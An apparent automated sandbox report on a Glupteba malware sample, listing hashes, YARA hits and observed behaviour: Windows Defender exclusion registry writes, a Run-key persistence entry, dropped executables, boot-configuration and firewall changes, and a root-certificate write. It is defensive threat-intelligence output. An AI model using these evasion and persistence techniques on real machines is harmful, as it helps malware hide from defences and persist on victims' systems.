Analysis
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max time kernel
96s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
24-05-2022 13:51
Static task
static1
Behavioral task
behavioral1
Sample
1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe
Resource
win10v2004-20220414-en
General
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Target
1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe
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Size
3.8MB
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MD5
b6cbd52f048d0b356f1b67ff2e783860
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SHA1
2539e01b0d761b64c4a74da6a2ebe2da85e68214
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SHA256
1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216
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SHA512
2b0072427aef5d3ee5a0411309f018b2c6c4b126c6eb2a4f1d996a6e7ced5e8849558a3a6bdce45b41b9c2f98378a610cb8ea24dba5e76edc2756a39340ec2a8
Malware Config
Signatures
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Glupteba Payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/1884-56-0x0000000002D10000-0x0000000003405000-memory.dmp family_glupteba behavioral1/memory/1884-57-0x0000000000400000-0x00000000025CC000-memory.dmp family_glupteba behavioral1/memory/1316-62-0x0000000000400000-0x00000000025CC000-memory.dmp family_glupteba behavioral1/memory/1220-70-0x0000000000400000-0x00000000025CC000-memory.dmp family_glupteba -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exepid process 1220 csrss.exe 600 patch.exe 1192 -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 12 IoCs
Processes:
1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exepatch.exepid process 1316 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe 1316 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe 876 600 patch.exe 600 patch.exe 600 patch.exe 600 patch.exe 600 patch.exe 1192 600 patch.exe 600 patch.exe 600 patch.exe -
Processes:
1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\0df8f390cf80.exe = "0" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\0df8f390cf80\0df8f390cf80 = "0" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SpringLeaf = "0" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe = "0" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-790309383-526510583-3802439154-1000\Software\Microsoft\Windows\CurrentVersion\Run\SpringLeaf = "\"C:\\Windows\\rss\\csrss.exe\"" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 632 bcdedit.exe -
Drops file in System32 directory 6 IoCs
Processes:
csrss.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357 csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357 csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 csrss.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 csrss.exe -
Drops file in Windows directory 5 IoCs
Processes:
makecab.execsrss.exe1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exedescription ioc process File created C:\Windows\Logs\CBS\CbsPersist_20220524161137.cab makecab.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\rss 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe File created C:\Windows\rss\csrss.exe 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1704 schtasks.exe 1568 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.execsrss.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates csrss.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 1949e1a48df5ec684a0fc0f6bd3ee4119a29954b356cd17bfd7a1bc4daaf7216.exe -
Processes:
csrss.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 0f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c1320000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f00740020004300410020005800330000000f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d20000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 csrss.exe Set value (data) 